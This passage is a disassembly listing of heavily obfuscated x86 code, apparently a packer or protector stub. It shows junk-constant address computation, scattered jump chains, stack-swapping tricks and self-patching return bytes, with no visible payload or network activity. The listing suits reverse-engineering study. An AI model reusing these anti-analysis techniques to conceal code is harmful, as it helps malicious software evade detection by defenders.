; END OF FUNCTION CHUNK	FOR sub_752DE1
; ---------------------------------------------------------------------------
dword_756678	dd 7C800000h						; sub_746E93:loc_74AB46r ...
; ---------------------------------------------------------------------------


loc_75667C:				; CODE XREF: _0z4jwtox:00745EAAj
		jmp	loc_754CB4
; ---------------------------------------------------------------------------
		db 55h,	6, 39h
dword_756684	dd 9352A2B4h, 8C669854h, 631B6417h					; sub_748A22+E4A1o
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_756691	proc near		; CODE XREF: sub_74BA42:loc_745A0Bp
					; _0z4jwtox:00745B9Cp ...

; FUNCTION CHUNK AT 00745A6E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075380B SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_745A6E
sub_756691	endp

; ---------------------------------------------------------------------------
		not	edi
		jmp	sub_74A959
; ---------------------------------------------------------------------------


loc_7566A0:				; DATA XREF: sub_74C527-6FDEo
		call	sub_756691
		xor	eax, edi
		jmp	loc_74D7FB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_72. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B52


loc_7566AD:				; CODE XREF: sub_748B52:loc_74AC68j
		push	58F15BFBh
		jo	loc_753B2F
		jmp	loc_74A2A2
; END OF FUNCTION CHUNK	FOR sub_748B52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C10


loc_7566BD:				; CODE XREF: sub_755C10-E26Fj
		jnz	loc_755A20


loc_7566C3:				; CODE XREF: _0z4jwtox:00746A8Dj
		jmp	loc_7552A3
; END OF FUNCTION CHUNK	FOR sub_755C10
; ---------------------------------------------------------------------------
		or	esi, 96CDC06h
		pushf
		jmp	loc_755A20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7544F1


loc_7566D4:				; CODE XREF: sub_7544F1+1E42j
		jnp	sub_74BD6F
		pop	esi
		jz	loc_7535B9
		jmp	loc_746C30
; END OF FUNCTION CHUNK	FOR sub_7544F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752FC5


loc_7566E6:				; CODE XREF: sub_752FC5+7j
		mov	eax, [esp-8+arg_4]
		push	edx
		push	ecx
		push	0ADAE3CA8h
		pop	ecx


loc_7566F1:				; CODE XREF: _0z4jwtox:00750DA1j
		sub	ecx, 5AB82542h
		jmp	loc_757682
; END OF FUNCTION CHUNK	FOR sub_752FC5

; =============== S U B	R O U T	I N E =======================================



sub_7566FC	proc near		; CODE XREF: sub_75364C-CE76p
					; _0z4jwtox:0074C7D9j

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	edi, 487A8678h
		xchg	edi, [esp-4+arg_0]
		jmp	sub_75310B
sub_7566FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_75670E:				; CODE XREF: sub_746E37:loc_746E46j
		jz	loc_750C69
		jmp	loc_74586C
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------

locret_756719:				; CODE XREF: _0z4jwtox:loc_74B906j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756496


loc_75671A:				; CODE XREF: sub_756496-6D25j
		jmp	loc_74B7DA
; END OF FUNCTION CHUNK	FOR sub_756496
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_75671F:				; CODE XREF: sub_747C39+6CB9j
		jmp	loc_752FD1
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_756724:				; CODE XREF: sub_746640+952Cj
		add	eax, ebp
		add	eax, 43C6466Ah
		mov	eax, [eax]
		mov	[ebp-1Ch], eax
		jmp	loc_748B1F
; END OF FUNCTION CHUNK	FOR sub_746640
; ---------------------------------------------------------------------------
		jno	loc_747143
		call	sub_7508A4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_756741	proc near		; CODE XREF: sub_74BED4+78B2p

; FUNCTION CHUNK AT 007520DD SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		call	sub_747778


loc_756749:				; CODE XREF: sub_74AC6D+5FAAj
		jmp	loc_7520DD
sub_756741	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7463AE


loc_75674E:				; CODE XREF: sub_7463AE+1B8Cj
		jmp	sub_7535F0
; END OF FUNCTION CHUNK	FOR sub_7463AE
; ---------------------------------------------------------------------------


loc_756753:				; CODE XREF: _0z4jwtox:loc_7552DCj
		mov	byte ptr [eax],	0C3h
		jmp	loc_746A58

; =============== S U B	R O U T	I N E =======================================



sub_75675B	proc near		; CODE XREF: sub_40C2D0+348p
					; sub_40CC09+4286p ...
		call	sub_75676B
		jmp	ds:off_41F118
sub_75675B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_756766:				; CODE XREF: sub_747AEC+9F1j
		jmp	loc_74CAEA
; END OF FUNCTION CHUNK	FOR sub_747AEC

; =============== S U B	R O U T	I N E =======================================



sub_75676B	proc near		; CODE XREF: _0z4jwtox:007466ECj
					; _0z4jwtox:0074A0AEj ...
		call	sub_74A4B0


loc_756770:				; CODE XREF: sub_74A821+6B7j
		jmp	nullsub_201
sub_75676B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_756775:				; CODE XREF: sub_74D1F3-6AC3j
		jmp	loc_7543F2
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571A1


loc_75677A:				; CODE XREF: sub_7571A1:loc_7451C1j
		jz	loc_757893


loc_756780:				; CODE XREF: sub_7572C4+4j
		jmp	loc_75272E
; END OF FUNCTION CHUNK	FOR sub_7571A1
; ---------------------------------------------------------------------------
		add	eax, 0C66539C1h
		push	29DA9484h
		mov	edx, 9EDB7C49h
		jmp	loc_757893
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748B44


loc_75679A:				; CODE XREF: sub_748B44+5F61j
		jz	loc_755818
; END OF FUNCTION CHUNK	FOR sub_748B44
; START	OF FUNCTION CHUNK FOR sub_74C0A0


loc_7567A0:				; CODE XREF: sub_74C0A0+Cj
		jmp	loc_756C2B
; END OF FUNCTION CHUNK	FOR sub_74C0A0
; ---------------------------------------------------------------------------
		jo	loc_75297C
		mov	edi, [edx]
		jmp	loc_746427
; ---------------------------------------------------------------------------


loc_7567B2:				; CODE XREF: _0z4jwtox:0074662Ej
		mov	eax, [edx]

; =============== S U B	R O U T	I N E =======================================



sub_7567B4	proc near		; CODE XREF: _0z4jwtox:00746B2Aj
					; sub_752737-BBE7p

; FUNCTION CHUNK AT 00745C52 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00745D4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0075512C SIZE 0000000D BYTES

		xchg	esi, [esp+0]
		pop	esi
		cmp	byte ptr [eax],	0F1h
		jnz	loc_745C52
		jmp	loc_745D4C
sub_7567B4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750243


loc_7567C6:				; CODE XREF: sub_750243:loc_74C456j
		pop	eax
		lea	eax, loc_753727
		mov	byte ptr [eax],	0C3h
		jmp	loc_75561F
; END OF FUNCTION CHUNK	FOR sub_750243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B305


loc_7567D5:				; CODE XREF: sub_74B305+8423j
		push	offset loc_7536DC
		jmp	nullsub_202
; END OF FUNCTION CHUNK	FOR sub_74B305
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		call	sub_7571AD
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_7567E8:				; CODE XREF: sub_7543C5:loc_74A4F8j
		or	ebx, 4DD625DAh
		add	ebx, 0D783CE5Ch
		sub	eax, ebx
		pop	ebx
; END OF FUNCTION CHUNK	FOR sub_7543C5
; START	OF FUNCTION CHUNK FOR sub_747736


loc_7567F7:				; CODE XREF: sub_747736:loc_74B740j
		push	offset sub_7547BA
		jmp	nullsub_204
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_756802:				; CODE XREF: _0z4jwtox:loc_74855Dj
					; sub_74AAC1:loc_7526A9j
		ror	eax, 2
		push	ebx
		push	1B50489Bh
		pop	ebx
		add	ebx, 0DAE09670h
		and	ebx, 391098C9h
		sub	ebx, 0F270A0D0h
		jmp	loc_74DB51
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F3C6


loc_756823:				; CODE XREF: _0z4jwtox:00752A8Ej
					; sub_74F3C6:loc_753CFEj ...
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_74F3C6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_756826	proc near		; CODE XREF: sub_748E1D+1C9p
					; sub_752957:loc_74AD0Fp ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 007450AA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 007466C1 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 007475BD SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00747FAF SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074CECD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074EE12 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007531A9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00753E40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00754EF0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00755E33 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0075700F SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, ecx
		xchg	ebx, [esp+4+var_4]
		jmp	loc_7466C1
sub_756826	endp


; =============== S U B	R O U T	I N E =======================================



sub_756834	proc near		; CODE XREF: _0z4jwtox:0074C509j
					; sub_749161:loc_74DC8Fp ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074804E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0075488B SIZE 00000005 BYTES

		xchg	ecx, [esp-4+arg_0]
		pop	ecx
		add	ebx, 9D4B8201h
		mov	[ebx], eax
		jmp	loc_74804E
sub_756834	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_756845:				; CODE XREF: _0z4jwtox:00747B50j
		or	edx, 4BE914F5h
		rol	edx, 7
		add	edx, 172762Fh
		mov	[edx], eax
		jmp	loc_74885A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_75685B:				; CODE XREF: sub_74FE55+61BEj
		jnz	loc_750866
		jmp	loc_74E83C
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D23E


loc_756866:				; CODE XREF: sub_74D23E:loc_74A0DEj
		pop	edx
		call	sub_7565EF


loc_75686C:				; DATA XREF: sub_748A22:loc_74AFE2o
		mov	eax, [ebp-14h]
		push	offset loc_74B131
		jmp	loc_74E038
; END OF FUNCTION CHUNK	FOR sub_74D23E
; ---------------------------------------------------------------------------


loc_756879:				; CODE XREF: _0z4jwtox:loc_74AE88j
		push	ebx
		push	23300BE1h
		xchg	edx, [esp]
		mov	ebx, edx
		pop	edx
		and	ebx, 53F30F74h
		jmp	loc_752CE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74946E


loc_756890:				; CODE XREF: sub_74946E+2C01j
					; sub_74946E:loc_75219Cj
		mov	eax, 0BB0E1C2h
		push	edx
		push	offset loc_74C70E
		jmp	loc_7454CC
; END OF FUNCTION CHUNK	FOR sub_74946E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_7568A0:				; CODE XREF: sub_7501AF:loc_74E70Ej
		jz	loc_749839
		mov	ebx, 111746E4h
		and	ebx, edx
		cmp	ebx, 315EF44Dh
		jmp	loc_74982F
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D21E


loc_7568B8:				; CODE XREF: sub_74D21E:loc_7512A0j
		xor	esi, 0A9181AA6h
		or	esi, 689259A1h
		and	esi, 0FF5272C1h
		add	esi, 15625501h
		xchg	esi, [esp+4+var_4]
		jmp	loc_745839
; END OF FUNCTION CHUNK	FOR sub_74D21E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462FD


loc_7568D8:				; CODE XREF: sub_7462FD:loc_75438Cj
					; _0z4jwtox:0075439Ej
		xor	eax, 3DCF63CCh
		call	sub_746E93
		mov	ds:dword_41F0CC, eax
		lea	eax, nullsub_174
		jmp	loc_7535FC
; END OF FUNCTION CHUNK	FOR sub_7462FD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_7568F5	proc near		; DATA XREF: _0z4jwtox:00755372o

; FUNCTION CHUNK AT 0075274A SIZE 00000005 BYTES

		mov	ds:off_41F150, eax
		push	offset sub_756D58
		jmp	loc_75274A
sub_7568F5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_756905:				; CODE XREF: sub_747C22:loc_74F47Cj
		test	dword ptr [eax], 0FFFF0000h
		jnz	loc_746FF7
		jmp	loc_75706B
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746B7C


loc_756916:				; CODE XREF: sub_746B7C+2E54j
		mov	ds:off_41F0BC, eax
		lea	eax, loc_74D62C
		mov	byte ptr [eax],	0C3h
		jmp	loc_74D62C
; END OF FUNCTION CHUNK	FOR sub_746B7C
; ---------------------------------------------------------------------------


loc_75692A:				; CODE XREF: _0z4jwtox:0074A607j
		mov	eax, [esp]
		jmp	loc_752308
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_756932:				; CODE XREF: sub_7474B9:loc_7520CEj
		rol	edi, 0Bh
		add	edi, 3808794Fh
		call	sub_74890C


loc_756940:				; CODE XREF: _0z4jwtox:00752C34j
		jmp	sub_74C3B3
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------


loc_756945:				; CODE XREF: _0z4jwtox:0074C048j
					; _0z4jwtox:00750E3Dj
		jnz	loc_75598F
		xchg	edx, [edi]
		and	ebp, 9CEF1EE7h
		xchg	eax, edi
		jmp	loc_75598F

; =============== S U B	R O U T	I N E =======================================



sub_75695A	proc near		; CODE XREF: sub_405815+6Cp
					; sub_409DBE+259p ...
		call	sub_756974
		jmp	ds:off_41F094
sub_75695A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_756965:				; CODE XREF: sub_74C2C9-3CD1j
		jmp	loc_74FB29
; END OF FUNCTION CHUNK	FOR sub_74C2C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_75696A:				; CODE XREF: sub_747C22-A96j
		jmp	loc_749A34
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E6F5


loc_75696F:				; CODE XREF: sub_74E6F5-7A52j
		jmp	loc_751388
; END OF FUNCTION CHUNK	FOR sub_74E6F5

; =============== S U B	R O U T	I N E =======================================



sub_756974	proc near		; CODE XREF: sub_756974-32EAj
					; sub_747032:loc_755590j ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074CFF2 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00752AA1 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0075366C SIZE 00000023 BYTES

		pop	edx
		jns	loc_752AA1
		mov	eax, [esp+4+var_4]
		jmp	loc_74CFF2
sub_756974	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A8D1


loc_756983:				; CODE XREF: sub_74A8D1+Dj
		mov	[ebp-4], eax
		xor	eax, eax
		push	ecx
		push	0BCA66215h
		pop	ecx
		rol	ecx, 1Ch
		add	ecx, 0B65A074Ch
		xor	ecx, 35A3B49Fh
		jmp	loc_74B93C
; END OF FUNCTION CHUNK	FOR sub_74A8D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_7569A3:				; CODE XREF: sub_747AEC:loc_74736Aj
		add	esi, 71D4A6E0h
		xor	eax, esi
		pop	esi
		sub	eax, 31533C2Bh


loc_7569B2:				; CODE XREF: sub_7558D0:loc_747216j
		xor	eax, 0ADD62811h
		jmp	loc_755F33
; END OF FUNCTION CHUNK	FOR sub_747AEC

; =============== S U B	R O U T	I N E =======================================



sub_7569BD	proc near		; DATA XREF: sub_74FE55-E54o
		mov	byte ptr [eax],	0C3h
		jmp	loc_74D62C
sub_7569BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_7569C5	proc near		; CODE XREF: sub_4085B9+69p
					; _0z4jwtox:0074FBA1j
					; DATA XREF: ...
		push	esi


loc_7569C6:				; CODE XREF: sub_74F615:loc_74AD93j
					; _0z4jwtox:loc_74B0BAj
		push	525B43C8h
		push	offset sub_75079B
		jmp	nullsub_209
sub_7569C5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75712E


loc_7569D5:				; CODE XREF: _0z4jwtox:007454E1j
					; sub_75712E:loc_746487j
		sub	ebx, 553544CBh
		push	offset sub_748D84
		jmp	loc_747E43
; END OF FUNCTION CHUNK	FOR sub_75712E
; ---------------------------------------------------------------------------
		push	9C5CCD16h
		pop	eax
		or	eax, 0D5A98CDAh
		rol	eax, 11h
		xor	eax, 8A74193Eh


loc_7569FA:				; CODE XREF: _0z4jwtox:00756C53j
		call	sub_746E93
		push	esi
		call	sub_751ECC
; START	OF FUNCTION CHUNK FOR sub_750887


loc_756A05:				; CODE XREF: sub_750887+Dj
		jmp	nullsub_272
; END OF FUNCTION CHUNK	FOR sub_750887
; ---------------------------------------------------------------------------


loc_756A0A:				; CODE XREF: _0z4jwtox:0074E4FBj
		jmp	sub_7523A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA04


loc_756A0F:				; CODE XREF: sub_74BA04:loc_7510D4j
		pop	eax
		sub	eax, 7EBE7A23h
		add	eax, 0D1A8EF75h
		xor	eax, 0B200D67h
		add	eax, 63E2915Fh
		add	eax, ebp
		push	esi
		push	0E3D07CDh
		jmp	loc_748984
; END OF FUNCTION CHUNK	FOR sub_74BA04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7476BB


loc_756A35:				; CODE XREF: sub_7476BB+93A3j
		mov	[ebx], eax
		pop	ebx
		lea	eax, sub_756158
		mov	byte ptr [eax],	0C3h
		jmp	loc_750167
; END OF FUNCTION CHUNK	FOR sub_7476BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756158


loc_756A46:				; CODE XREF: sub_756158+1j
		mov	eax, [esp-4+arg_0]
		push	edx
		push	eax
		jmp	loc_754D93
; END OF FUNCTION CHUNK	FOR sub_756158
; ---------------------------------------------------------------------------


loc_756A50:				; DATA XREF: sub_7451EFo
		call	sub_756A5B
		jmp	ds:off_41F170

; =============== S U B	R O U T	I N E =======================================



sub_756A5B	proc near		; CODE XREF: sub_7491FD+23EFj
					; _0z4jwtox:loc_756A50p ...
		call	sub_7491FD
sub_756A5B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_747C22


loc_756A60:				; CODE XREF: sub_747C22-2CAj
		mov	dx, [eax+2]
		push	705F979h
		pop	eax
		or	eax, 0FFB1076Ch
		xor	eax, 0F8DA341Ah
		jmp	loc_74A51A
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------


loc_756A7B:				; CODE XREF: _0z4jwtox:0074A148j
		ror	esi, 2

; =============== S U B	R O U T	I N E =======================================



sub_756A7E	proc near		; CODE XREF: _0z4jwtox:0074850Ep

; FUNCTION CHUNK AT 007523AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007530C9 SIZE 0000000C BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	esi
		push	9CE672FDh
		pop	esi
		jmp	loc_7523AE
sub_756A7E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7510E4


loc_756A8E:				; CODE XREF: sub_7510E4:loc_74B951j
					; _0z4jwtox:0074EF8Bj
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-8], 0
		call	sub_74673E
; END OF FUNCTION CHUNK	FOR sub_7510E4

; =============== S U B	R O U T	I N E =======================================



sub_756AA2	proc near		; CODE XREF: sub_40857E+26p
					; _0z4jwtox:007556B0j
					; DATA XREF: ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074543B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0074DFEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074EA29 SIZE 0000000E BYTES

		push	ebx
		push	0F81D5055h
		pop	ebx
		or	ebx, 765070E3h
		js	loc_74543B


loc_756AB5:				; CODE XREF: sub_752D11-5E73j
		jmp	loc_74EA29
sub_756AA2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C670


loc_756ABA:				; CODE XREF: sub_74C670+99j
		jmp	loc_74ABC6
; END OF FUNCTION CHUNK	FOR sub_74C670
; ---------------------------------------------------------------------------


loc_756ABF:				; CODE XREF: _0z4jwtox:007542BAj
		xchg	eax, edx

; =============== S U B	R O U T	I N E =======================================



sub_756AC1	proc near		; CODE XREF: _0z4jwtox:00748113p
		xchg	eax, [esp+0]
		pop	eax
		mov	[ecx], eax
		pop	ecx
		jmp	loc_74F2EB
sub_756AC1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746CC3


loc_756ACD:				; CODE XREF: sub_746CC3:loc_755905j
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_750243
		push	offset loc_753E13
		jmp	loc_7499A0
; END OF FUNCTION CHUNK	FOR sub_746CC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74673E


loc_756AE1:				; CODE XREF: sub_74673E:loc_7475ADj
		push	eax
		push	edi
		push	56EF4C9h
		pop	edi
		rol	edi, 0Fh
		jmp	loc_746363
; END OF FUNCTION CHUNK	FOR sub_74673E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_756B35


loc_756AF2:				; CODE XREF: sub_756B35+Dj
		jmp	loc_75224C
; END OF FUNCTION CHUNK	FOR sub_756B35
; ---------------------------------------------------------------------------


loc_756AF7:				; DATA XREF: sub_756158+7o
		mov	eax, [esp]
		push	edx
		push	ecx
		call	sub_74AE8E
; START	OF FUNCTION CHUNK FOR sub_75100C


loc_756B01:				; CODE XREF: sub_75100C+1CB6j
		jmp	loc_74DF71
; END OF FUNCTION CHUNK	FOR sub_75100C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473E6


loc_756B06:				; CODE XREF: sub_7473E6+71Dj
		jmp	nullsub_212
; END OF FUNCTION CHUNK	FOR sub_7473E6
; ---------------------------------------------------------------------------
		jnb	loc_754F7E
		jmp	sub_74ADC0
; ---------------------------------------------------------------------------


loc_756B16:				; DATA XREF: sub_74B74C+215Eo
		call	nullsub_300
; START	OF FUNCTION CHUNK FOR sub_7475DD


loc_756B1B:				; CODE XREF: sub_7475DD+1D01j
					; sub_754FC6-846Aj
		mov	eax, ds:dword_7575C8
		mov	[ebp-4], eax
		mov	eax, offset dword_7575C4
		call	sub_74F144
		mov	eax, [ebp-4]
		jmp	loc_74CC1E
; END OF FUNCTION CHUNK	FOR sub_7475DD

; =============== S U B	R O U T	I N E =======================================



sub_756B35	proc near		; CODE XREF: sub_74F1FE:loc_7454FDp
					; sub_74F73B+4159j

; FUNCTION CHUNK AT 0075224C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00756AF2 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	edi, 381C1511h
		mov	[edi], eax
		pop	edi
		jmp	loc_756AF2
sub_756B35	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	edx, [ecx]
		jmp	sub_7514BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_756B4E:				; CODE XREF: sub_747C22+3BDCj
		mov	eax, [ebp-4]
		cmp	dword ptr [eax+4], 0
		ja	loc_74D18F
		jmp	loc_746F64
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746ED2


loc_756B61:				; CODE XREF: sub_746ED2+6EBDj
		jmp	nullsub_214
; END OF FUNCTION CHUNK	FOR sub_746ED2
; ---------------------------------------------------------------------------
		mov	edi, 99EB7173h
		jmp	sub_74CBCF

; =============== S U B	R O U T	I N E =======================================



sub_756B70	proc near		; CODE XREF: sub_7500AE:loc_748E34p
					; _0z4jwtox:00749566j
		xchg	edi, [esp+0]
		pop	edi
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	offset loc_750CE7
		jmp	nullsub_215
sub_756B70	endp

; ---------------------------------------------------------------------------


loc_756B83:				; CODE XREF: _0z4jwtox:00755910j
		ja	loc_7553AF
		push	ebp


loc_756B8A:				; CODE XREF: _0z4jwtox:loc_7558FFj
		add	esi, 0D46539F1h
		xchg	esi, [esp]
		jmp	loc_753DCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_756B98:				; CODE XREF: sub_749980-4046j
		add	esi, ebp
		add	esi, 1F444975h
		mov	[esi], eax
		pop	esi
		mov	eax, [ebp-18h]
		mov	eax, [eax+18h]
		jmp	loc_748295
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748FA4


loc_756BAE:				; CODE XREF: sub_748FA4+E219j
		and	eax, 85DA28E2h
		test	eax, 8000000h
		jmp	loc_745C39
; END OF FUNCTION CHUNK	FOR sub_748FA4
; ---------------------------------------------------------------------------


loc_756BBF:				; CODE XREF: _0z4jwtox:loc_746008j
		push	offset sub_75275A
		jmp	loc_75035D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F688


loc_756BC9:				; CODE XREF: sub_74F688:loc_7551B9j
		pop	edx
		mov	eax, [esp+4+var_4]
		push	edx
		call	sub_755C10
		push	60BCA83Bh
		pop	eax
		rol	eax, 18h
		and	eax, 8B8D6D5Ch
		jmp	loc_7463DE
; END OF FUNCTION CHUNK	FOR sub_74F688
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7577AC


loc_756BE7:				; CODE XREF: sub_7577AC:loc_7577BBj
		pop	ecx
		or	ecx, 17D4C4B2h
		and	ecx, 120C66ABh
		add	ecx, 0EE68D066h
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_75252C
; END OF FUNCTION CHUNK	FOR sub_7577AC

; =============== S U B	R O U T	I N E =======================================



sub_756C02	proc near		; DATA XREF: _0z4jwtox:0074DD3Fo
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
sub_756C02	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_748A22


loc_756C08:				; CODE XREF: sub_748A22:loc_74DC40j
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		jmp	loc_7468A1
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
		shr	ecx, 2
		jmp	loc_747B2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F69D


loc_756C1B:				; CODE XREF: sub_74F69D-5D2Dj
		add	eax, 5AD12C43h
		call	sub_750A63


loc_756C26:				; CODE XREF: sub_746DD8+11j
		call	sub_745697


loc_756C2B:				; CODE XREF: sub_74C0A0:loc_7567A0j
		mov	eax, [esp+4+var_4]
		push	edx
		call	sub_749184


loc_756C34:				; CODE XREF: _0z4jwtox:0074ECBCj
		jmp	loc_755390
; END OF FUNCTION CHUNK	FOR sub_74F69D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_756C39:				; CODE XREF: sub_748DCB+17F4j
		jge	loc_750DB7


loc_756C3F:				; CODE XREF: _0z4jwtox:0074B894j
		jmp	loc_750EB3
; END OF FUNCTION CHUNK	FOR sub_748DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748A22


loc_756C44:				; CODE XREF: sub_748A22-216Bj
		jmp	loc_74AFDB
; END OF FUNCTION CHUNK	FOR sub_748A22
; ---------------------------------------------------------------------------
		mov	ebp, 244E4504h
		jmp	loc_750DB4
; ---------------------------------------------------------------------------
		jnp	loc_7569FA
		jmp	sub_74F08D
; ---------------------------------------------------------------------------


